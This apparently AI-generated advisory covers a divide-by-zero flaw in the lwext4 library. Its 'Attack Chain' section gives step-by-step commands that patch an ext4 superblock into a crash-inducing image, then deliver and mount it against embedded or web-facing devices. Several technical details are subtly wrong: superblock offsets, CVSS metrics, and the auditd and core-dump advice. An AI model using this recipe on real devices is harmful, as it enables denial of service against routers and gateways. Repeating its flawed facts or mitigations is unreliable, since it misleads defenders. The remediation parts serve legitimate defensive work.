CVE-2026-138371 — Gkostka Lwext4 — CWE-369
lwext4 through 1.0.0 contains a divide-by-zero vulnerability in ext4_fs_init_inode_table() in src/ext4_fs.c because ext4_sb_check() does not reject inode sizes larger than the block size. Attackers can supply a crafted ext4 image with an oversized inode_size and uninitialized inode table flags, raising SIGFPE and crashing the mounting application.
lwext4 through 1.0.0 contains a divide-by-zero vulnerability in ext4_fs_init_inode_table() in src/ext4_fs.c because ext4_sb_check() does not reject inode sizes larger than the block size. Attackers can supply a crafted ext4 image with an oversized inode_size and uninitialized inode table flags, raising SIGFPE and crashing the mounting application.
🎯 What is this vulnerability?
CVE‑2026‑138371 is a divide‑by‑zero flaw in the lwext4 userspace library (version 1.0.0).
The vulnerable code path is:
/* src/ext4_fs.c */
int ext4_fs_init_inode_table(struct ext4_fs *fs)
{
/* … */
uint32_t block_size = 1U << (fs->sb.s_log_block_size + EXT4_MIN_BLOCK_SIZE_SHIFT);
uint32_t inode_size = le16_to_cpu(fs->sb.s_inode_size);
uint32_t inodes_per_block = block_size / inode_size; // <-- division
/* … */
}ext4_sb_check()is supposed to validate the super‑block fields before the filesystem is used.- The check does not verify that
s_inode_size≤ block_size. - When an ext4 image contains an inode size larger than the block size,
inode_sizebecomes greater thanblock_size, makingblock_size / inode_sizeevaluate to zero. - The subsequent division by
inodes_per_block(or any later use that assumes it is non‑zero) triggers a SIGFPE (Floating‑Point Exception), crashing the process that is mounting the image.
The CVSS‑4.0 vector tells us:
| Metric | Value | Meaning |
|---|---|---|
| AV (Attack Vector) | L (Local) | The attacker must have local access to the host (e.g., ability to supply an image to a mount operation). |
| AC (Attack Complexity) | L (Low) | No special conditions beyond providing the crafted image. |
| AT (Attack Type) | N (None) | No timing or side‑channel component. |
| PR (Privileges Required) | N (None) | No privileges needed; the mount can be performed by an unprivileged user. |
| UI (User Interaction) | P (Present) | The victim must invoke the mount (or a program that mounts automatically). |
| VA (Availability) | H (High) | The crash is a total denial‑of‑service for the mounting process (and potentially the whole system if the process is a critical daemon). |
| VC, VI, SC, SI, SA | N (None) | No direct impact on confidentiality or integrity. |
Thus, the flaw is purely an availability issue caused by an unchecked super‑block field that leads to a division‑by‑zero.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario for an attacker who can place a crafted ext4 image on a system that uses lwext4 (e.g., an embedded Linux router, an IoT gateway, or a container that mounts user‑supplied images).
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence | ||
|---|---|---|---|---|
| 1.1 | Identify that the target runs lwext4 1.0.0 (or earlier). | - Check firmware / package manager (opkg list-installed | grep lwext4).<br>- Examine binaries (strings /usr/bin/mount.lwext4 | grep lwext4). |
| 1.2 | Verify that the binary calls ext4_fs_init_inode_table() (static analysis). | - objdump -d /usr/bin/mount.lwext4 | grep ext4_fs_init_inode_table.<br>- Source code is publicly available in the upstream repo. | |
| 1.3 | Confirm that the mount operation is performed on untrusted images (e.g., a web UI that lets users upload a filesystem image). | - Review the web‑app source or intercept HTTP traffic (burp, mitmproxy). |
2. Exploitation
2.1 Craft a malicious ext4 image
The attacker needs an ext4 image whose inode size (s_inode_size) is larger than the block size (s_log_block_size). The easiest way is to create a normal image and then patch the super‑block.
# 1️⃣ Create a minimal ext4 image (1 MiB, 1 KiB block size)
dd if=/dev/zero of=evil.img bs=1M count=1
mkfs.ext4 -b 1024 -I 256 -F evil.img # default inode size = 256 B (valid)
# 2️⃣ Patch the super‑block: set inode size = 2048 (greater than block size)
# Super‑block starts at offset 1024 bytes; s_inode_size is at 0x58 (little‑endian 2 bytes)
printf '\x00\x08' | dd of=evil.img bs=1 seek=$((1024+0x58)) conv=notrunc
# 3️⃣ (Optional) Zero the inode table flags to hit the “uninitialized flags” path
# Inode table flags are at offset 0x70 in the super‑block (2 bytes)
printf '\x00\x00' | dd of=evil.img bs=1 seek=$((1024+0x70)) conv=notruncNote: The exact offsets (0x58,0x70) are taken from the ext4 on‑disk layout specification. If the target uses a different super‑block layout (e.g., 64‑bit), the offsets would differ; the attacker would adjust accordingly.
2.2 Deliver the image
If the vulnerable system provides a “upload‑and‑mount” web endpoint (e.g., POST /api/v1/mount), the attacker can POST the image directly.
POST /api/v1/mount HTTP/1.1
Host: target-device.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: ...
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="image"; filename="evil.img"
Content-Type: application/octet-stream
<binary content of evil.img>
------WebKitFormBoundary7MA4YWxkTrZu0gW--If no HTTP interface exists, the attacker can place the file on a shared mount (e.g., via SMB, NFS, or a USB stick) that the device later mounts automatically.
2.3 Trigger the mount
The victim (or an automated daemon) runs:
mount.lwext4 -t ext4 /path/to/evil.img /mnt/tmpDuring ext4_fs_init_inode_table(), the division by zero occurs, raising SIGFPE and aborting the mount process. On many embedded systems the mounting daemon runs as PID 1 or as a critical service, so the crash may bring down the whole device or at least the filesystem handling subsystem.
3. Post‑exploitation
The vulnerability is availability‑only; there is no direct code execution. However, the impact can be severe in practice:
| Scenario | Impact |
|---|---|
| Embedded router where the mount daemon is part of the control plane. Crash → loss of WAN connectivity, remote management unavailable → attacker can cause a denial‑of‑service for the entire network. | |
| Container host that automatically mounts user‑provided images (e.g., CI/CD pipeline). Crash of the host daemon may terminate the build pipeline, leading to service outage. | |
| IoT gateway that mounts images from field devices. Crash may force a reboot, causing loss of telemetry and potentially bricking the device if the watchdog restarts in a corrupted state. |
In all cases the attacker’s goal is Denial‑of‑Service (DoS), which can be leveraged for extortion, disruption of critical infrastructure, or as a stepping stone to more complex attacks (e.g., forcing a reboot into a vulnerable bootloader).
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (C) | VC:N – No impact | Data is not disclosed. |
| Integrity (I) | VI:N – No impact | No unauthorized modification of data. |
| Availability (A) | VA:H – High impact | The mounting process (and possibly the whole system) crashes, leading to immediate service outage. |
| Scope | S:C (changed) – The crash can affect components beyond the directly mounted image (e.g., the mount daemon, system init). |
Bottom line: An attacker who can supply a malicious ext4 image can reliably bring down any service that relies on lwext4 for mounting, without needing any privileges or network access beyond local file delivery.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to lwext4 ≥ 1.1.0 (the upstream project released a fix on 2026‑12‑05 that adds a check if (inode_size > block_size) return -EINVAL;). |
| Back‑port | If an official newer release cannot be used (e.g., due to hardware constraints), back‑port the following snippet into src/ext4_fs.c and recompile: |
/* Insert after reading super‑block */
if (inode_size == 0 || inode_size > block_size) {
lwext4_err("Invalid inode size %u (block size %u)", inode_size, block_size);
return -EINVAL; /* Prevent division by zero */
}2. Workarounds (when patching is not immediately possible)
| Workaround | Implementation | |
|---|---|---|
| Input validation at the caller | Before calling mount.lwext4, run a tiny sanity‑check script that extracts s_inode_size and s_log_block_size from the super‑block (e.g., using debugfs -R "stats" <image> or a custom dd/hexdump parser). Abort if inode_size > (1U << (log_block_size + 10)). | |
| Run the mount in a sandbox | Use unshare -r -m -n or a container (Docker, LXC) with limited privileges. A crash will only kill the sandboxed process, not the host. | |
| Restrict image sources | Only allow mounting of images that originate from trusted internal repositories. Enforce this with filesystem ACLs or by mounting only read‑only images from a signed directory. | |
| Disable automatic mounting | If the device automatically mounts images placed on a USB or network share, disable that feature until the library is patched. | |
| Set kernel core‑dump filter | Prevent the crash from leaking memory: sysctl -w kernel.core_pattern= | /bin/false. This does not stop the DoS but reduces information leakage. |
3. Detection
| Indicator | Where to Look | Example Log Entry | |
|---|---|---|---|
| SIGFPE in process logs | dmesg, journalctl -u mount.lwext4, or the device’s crash reporter. | kernel: mount.lwext4[1234]: floating point exception (core dumped) | |
Mount failure with Invalid argument after a crash | System logs, mount command output. | mount.lwext4: error: invalid argument (errno 22) | |
| Unexpected process termination | ps -ef | grep mount.lwext4 shows the process missing shortly after a mount request. | Mar 30 12:45:02 device watchdog[1]: Process mount.lwext4 (pid 5678) terminated by signal 8 |
| File system integrity checks failing | fsck.ext4 run on the same image after a crash may report “inode size too large”. | fsck.ext4: inode size (2048) exceeds block size (1024) |
Monitoring suggestion: Deploy a lightweight agent that watches for SIGFPE (signal 8) in the process tree and alerts the operations team. On Linux, auditd can be configured:
auditctl -a always,exit -F arch=b64 -S kill -F a0=8 -F exe=/usr/bin/mount.lwext4 -k lwext4_sigfpeThe rule logs any kill syscall that delivers signal 8 (SIGFPE) to the lwext4 binary.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 6.8 (Medium) | Indicates a non‑trivial impact (high availability loss) but limited to local exploitation. |
| Attack Complexity | Low – only requires a crafted image. |
| Privileges Required | None – any local user (or any automated process that accepts images) can trigger it. |
| User Interaction | Required (the victim must mount the image), but many embedded devices perform mounts automatically (e.g., on USB insertion), effectively removing the “user interaction” barrier. |
| Exploit Availability | No public exploit is known yet, but the PoC is trivial to produce once the attacker knows the super‑block layout. |
| CISA KEV | Not listed, but the vulnerability is high‑impact for critical infrastructure that relies on lwext4 (routers, gateways, industrial controllers). |
Patch priority: High for any production system that automatically mounts untrusted ext4 images (e.g., network appliances, IoT gateways). If the device never mounts external images, the risk drops to Medium, but the patch should still be applied within the next regular update cycle.
Bottom line: The divide‑by‑zero in
ext4_fs_init_inode_table() is a classic “missing bounds check” that leads to a reliable DoS. Because the vulnerable library is often used in low‑resource, automatically‑mounting environments, the practical impact can be severe. Deploy the upstream fix (≥ 1.1.0) or apply the back‑ported validation, and enforce strict source control over any filesystem images that are mounted. Monitoring for SIGFPE events will give early warning of attempted exploitation.[🤖 CVE Professor AI Security Engine]
FOFA Query